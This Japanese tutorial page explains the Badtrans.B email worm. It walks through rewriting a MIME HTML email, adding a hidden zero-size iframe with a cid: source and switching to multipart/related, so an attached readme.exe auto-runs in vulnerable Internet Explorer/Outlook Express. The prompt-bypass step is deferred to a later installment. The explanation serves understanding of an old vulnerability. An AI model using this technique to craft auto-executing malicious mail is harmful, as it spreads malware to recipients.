分かりやす〜い
コンピュータ技術情報

TOPに戻る
▼Network
Badtrans.Bウィルスとは?
┣ HTMLメールと
┃ MIMEヘッダ

┣ 5つのパート
┣ HTMLメールを改造する
┗ IEのバグ

Copyright(C) 2001-2002.ugpop. All rights reserved.




■デジタル用語辞典:

■ HTMLメールを改造する ■

前回、前々回ではHTMLメールにファイルを添付して送信した時
のメールの内容について、5つのパートに分かれる事を説明し、
パート1からパート5まで一通り説明しました。

今回はこのHTMLメールの添付ファイルが、脆弱性が存在する環
境上で自動的に実行される様に改造していく作業を行います。

その前に、まずは各パート毎の説明を簡単に復習しましょう。

パート1
┌────────────────────────────┐
│Content-Type: multipart/mixed;←●MIMEヘッダ      │
│ boundary="----=_NextPart_000_000D_01C1ADAD.89FB9BC0" │
└────────────────────────────┘
パート1は「パート2とパート5は、複数の種類のContent-
Typeが混合(mix)していますよ。」という意味になります。


パート2
┌────────────────────────────┐
│------=_NextPart_000_000D_01C1ADAD.89FB9BC0       │
│Content-Type: multipart/alternative;←●MIMEヘッダ   │
│ boundary="----=_NextPart_001_000E_01C1ADAD.89FB9BC0" │
└────────────────────────────┘
パート2は「メーラーで表示する時はパート3(テキスト平文)
とパート4(HTML文)のどちらか選択して表示してくださいね。」
という意味になります。


パート3
┌────────────────────────────┐
│------=_NextPart_001_000E_01C1ADAD.89FB9BC0       │
│Content-Type: text/plain; ←●MIMEヘッダ        │
│ charset="iso-2022-jp"                 │
│Content-Transfer-Encoding: quoted-printable       │
│ こんにちは                      │
└────────────────────────────┘
パート3は「このパートはテキスト平文ですよ。」という意味
になり、テキストで「こんにちは」と表示します。


パート4
┌───────────────────────────────┐
│------=_NextPart_001_000E_01C1ADAD.89FB9BC0          │
│Content-Type: text/html;←●MIMEヘッダ            │
│ charset="iso-2022-jp"                    │
│Content-Transfer-Encoding: quoted-printable          │
│                               │
│<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">│
│<HTML><HEAD>                         │
│<META http-equiv=3DContent-Type content=3D"text/html; =    │
│charset=3Diso-2022-jp">                    │
│<META content=3D"MSHTML 5.50.4807.2300" name=3DGENERATOR>   │
│<STYLE></STYLE>                        │
│</HEAD>                            │
│<BODY bgColor=3D#d8d0c8>                   │
│<DIV><FONT size=3D2>こんにちは</FONT></DIV></BODY></HTML>   │
│                               │
│------=_NextPart_001_000E_01C1ADAD.89FB9BC0--         │
└───────────────────────────────┘
パート4は「このパートはHTML(Hyper Text Markup Language)
ですよ。」という意味になり、HTMLで「こんにちは」と表示し
ます。


パート5
┌───────────────────────────────┐
│------=_NextPart_000_000D_01C1ADAD.89FB9BC0          │
│Content-Type: application/x-msdownload;←●MIMEヘッダ     │
│ name="readme.exe"                      │
│Content-Transfer-Encoding: base64               │
│Content-Disposition: attachment;               │
│ filename="readme.exe"                    │
│                               │
│TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAA│
│AAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW│
│ZGUuDQ0KJAAAAAAAAACTomL518MMqtfDDKrXwwyquNwHqtbDDKq43AaqzMMMql│
└───────────────────────────────┘
パート5は「マイクロソフトのアプリケーションですよ。」と
いう意味を表し、添付ファイルとして"readme.exe"というファ
イル名が指定されています。


簡単ですが以上で復習を終わります。
ではこれをどのように改造するか今から説明します。

まず、Badtrans.Bはインターネットエクスプローラに存在する
バグを利用します。

Outlook Expressは、パート4で説明した様なHTMLで構成され
たパートを見つけると、内部でインターネットエクスプローラ
を起動します。
そしてインターネットエクスプローラがHTML文を翻訳し、WEB
ページの様に表示してくれるのです。

Badtrans.Bウィルスはインターネットエクスプローラに存在す
るバグを利用するので、このウィルスにとってはテキストで構
成されたパートは不要です。ここでは不要な部分は削除してし
まいましょう。

テキスト平文で構成されたパートはパート3です。
このパート3はまるごと削除します。

次に、HTML文があるパートを改造します。
HTML文があるのはパート4です。

パート4
┌───────────────────────────────┐
│------=_NextPart_001_000E_01C1ADAD.89FB9BC0          │
│Content-Type: text/html;←●MIMEヘッダ            │
│ charset="iso-2022-jp"                    │
│Content-Transfer-Encoding: quoted-printable          │
│                               │
│<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">│
│<HTML><HEAD>                         │
│<META http-equiv=3DContent-Type content=3D"text/html; =    │
│charset=3Diso-2022-jp">                    │
│<META content=3D"MSHTML 5.50.4807.2300" name=3DGENERATOR>   │
│<STYLE></STYLE>                        │
│</HEAD>                            │
│<BODY bgColor=3D#d8d0c8>                   │
│<DIV><FONT size=3D2>こんにちは</FONT></DIV></BODY></HTML>   │
│                               │
│------=_NextPart_001_000E_01C1ADAD.89FB9BC0--         │
└───────────────────────────────┘

このHTML文は単に「こんにちは」と字を表示するだけの物です。
このHTML文をプログラムファイルを実行するように書き換えま
す。

書き換えた物を以下に示します。

パート4
┌───────────────────────────────┐
│------=_NextPart_001_000E_01C1ADAD.89FB9BC0          │
│Content-Type: text/html;←●MIMEヘッダ            │
│ charset="iso-2022-jp"                    │
│Content-Transfer-Encoding: quoted-printable          │
│                               │
│<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">│
│<HTML><HEAD>                         │
│<META http-equiv=3DContent-Type content=3D"text/html; =    │
│charset=3Diso-2022-jp">                    │
│<META content=3D"MSHTML 5.50.4807.2300" name=3DGENERATOR>   │
│<STYLE></STYLE>                        │
│</HEAD>          ●1行追加した           │
│<BODY bgColor=3D#d8d0c8> ↓                 │
│<iframe src=3Dcid:EA4DMGBP9p height=3D0 width=3D0></iframe>  │
│<DIV><FONT size=3D2>こんにちは</FONT></DIV></BODY></HTML>   │
│                               │
│------=_NextPart_001_000E_01C1ADAD.89FB9BC0--         │
└───────────────────────────────┘


どこの部分が追加されたかお分かりでしょうか?

「こんにちは」と書かれている行の1行上に「<iframe・・・」
という部分が追加されています。
以下にその行を示します。

<iframe src=3Dcid:EA4DMGBP9p height=3D0 width=3D0></iframe>

この「<iframe・・・」と書かれてある部分は、インターネッ
トエクスプローラのみで使用出来るHTML(Hyper Text Markup
Language)の命令の1つで、「別の場所からファイルを持って
来て表示しなさい」という命令です。

どのファイルを持ってくるの?という事になりますが、それは
「<iframe・・・」と同じ行にある「src=XXXXX」という部分で
指定してあげます。

「XXXXX」の部分には通常のWEBページの場合はURL(Uniformed
Resource Locator:例えばhttp://home.netyou.jp/gg/ugpop/
等の文字列)を指定するのですが、ここでは添付ファイルであ
る"readme.exe"を実行させる為にCID(Content-ID)という物を
指定してあげます。

<iframe src=3Dcid:EA4DMGBP9p height=3D0 width=3D0></iframe>
        ̄ ̄ ̄ ̄ ̄ ̄ ̄
       ↑
  CID(Content-ID)


さて、ここまで変更したところで、HTML文で構成されたパート
と添付ファイルで構成されたパートは独立した物でなくなり、
関連性がある物となりました。

これをメーラーに指示する為に、パート1を次の様に書き換え
てあげます。

パート1
┌────────────────────────────┐
│Content-Type: multipart/related;←●書き換えた     │
│ boundary="----=_NextPart_000_000D_01C1ADAD.89FB9BC0" │
└────────────────────────────┘
パート1は「パート2とパート5は、複数の種類のContent-
Typeが混合(mix)していますよ。」という意味でしたが、これ
を「related」(関連する)に書き換えました。
つまり、「パート2とパート5は、複数の種類のContent-Type
が関連(related)していますよ。」という意味になりました。

HTML文で構成されたパートから添付ファイルで構成されたパー
トを呼び出して実行するようにしたいので、「関連する」とい
う指示を出してあげたのです。


また、先ほどのCID(Content-ID)ですが、添付ファイルのパー
トであるパート5でも指定する必要があります。

まず変更する前の添付ファイルのパートを見てみましょう。

パート5
┌───────────────────────────────┐
│------=_NextPart_000_000D_01C1ADAD.89FB9BC0          │
│Content-Type: application/x-msdownload;←●MIMEヘッダ     │
│ name="readme.exe"                      │
│Content-Transfer-Encoding: base64               │
│Content-Disposition: attachment;               │
│ filename="readme.exe"                    │
│                               │
│TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAA│
│AAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW│
│ZGUuDQ0KJAAAAAAAAACTomL518MMqtfDDKrXwwyquNwHqtbDDKq43AaqzMMMql│
└───────────────────────────────┘

この部分は先ほども見てもらいました。
「Content-Disposition: attachment〜filename="readme.exe"」
と書かれてある部分があります。

これは、「attachment」(添付)で、ファイル名は"readme.exe"
ですよ。という事を示しているのでした。
つまり、

「"readme.exe"という添付ファイルですよ。」

という意味です。

この部分を以下の様に書き換えます。

パート5
┌───────────────────────────────┐
│------=_NextPart_000_000D_01C1ADAD.89FB9BC0          │
│Content-Type: application/x-msdownload;←●MIMEヘッダ     │
│ name="readme.exe"                      │
│Content-Transfer-Encoding: base64               │
│Content-ID: <EA4DMGBP9p> ←────────●ここを書き換える│
│                               │
│TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAA│
│AAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW│
│ZGUuDQ0KJAAAAAAAAACTomL518MMqtfDDKrXwwyquNwHqtbDDKq43AaqzMMMql│
└───────────────────────────────┘


「"readme.exe"という添付ファイルですよ。」

という意味を表す部分が削除されて、代わりに先ほどHTML文で
指定したCID(Content-ID)が挿入されています。

インターネットエクスプローラは先ほどのHTML文を表示する時


<iframe src=3Dcid:EA4DMGBP9p height=3D0 width=3D0></iframe>

という部分を見つけると、「src=3Dcid:EA4DMGBP9p」で指定さ
れている部分を探します。
そして、その「src=3Dcid:EA4DMGBP9p」に対応するIDを発見す
ると、そこにあるデータを「表示」しようとするのです。

そして、この時インターネットエクスプローラが見る部分がも
う1箇所あります。

それは、「"readme.exe"という添付ファイルですよ。」を表し
ている部分のすぐ上にある、

Content-Type: application/x-msdownload;

となっている部分です。

「これはアプリケーションソフトですよ。」

という意味です。
この部分を見ると、インターネットエクスプローラは「"read-
me.exe"というファイルはアプリケーションソフトなのだな。」
と理解し、気を利かせて実行しようとしてしまいます。

しかし、ここでマイクロソフトは思いました。

「これってセキュリティ上良くないのではない?」

と思ったのです。

ここまで読んでお分かりいただいた方もいらっしゃるかもしれ
ませんが、これはセキュリティ上、非常に好ましくありません。

HTMLメールを表示した途端に添付ファイルのプログラムが実行
されてしまう事になるからです。

もし添付ファイルのプログラムがCドライブをフォーマットす
るプログラムだったらどうでしょう?

もし添付ファイルのプログラムがアドレス帳に登録されている
人達にメールをばらまくプログラムだったとしたらどうでしょ
う?

そんなプログラム、勝手に実行してほしくないですよね?

という事でマイクロソフトはセキュリティ確保の為、添付ファ
イルをどう処理したいかユーザーに問い合わせる機能を持たせ
ました。

皆さんの中にも、添付ファイルを開くか保存するか問い合わせ
る為のウィンドウを見た事がある方は多いはずです。

添付ファイルを開きたければ(実行したければ)、ユーザーは
そのファイルに対し、「開く」の指示を行なえば良いし、別の
場所に保存したければ「保存」の指示を行なえば良いのです。
また、何も処理したくなければそのウィンドウを閉じてメール
を削除する事も出来ます。

ここまではマイクロソフトの設計通りの動作です。

ところがBadtrans.Bウィルスは、このセキュリティ機能を突破
し、ユーザーに問い合わせる事なく、勝手に添付ファイルのプ
ログラムを実行してしまいます。

どのようにしてこのセキュリティ機能を突破するのでしょうか?

次回はBadtrans.Bウィルスがどのようにセキュリティ機能を突
破するのか説明します。

▲このページの上へ

▲このページの上へ

▲このページの上へ

←前へ戻る    ▲このページの上へ    続きを読む→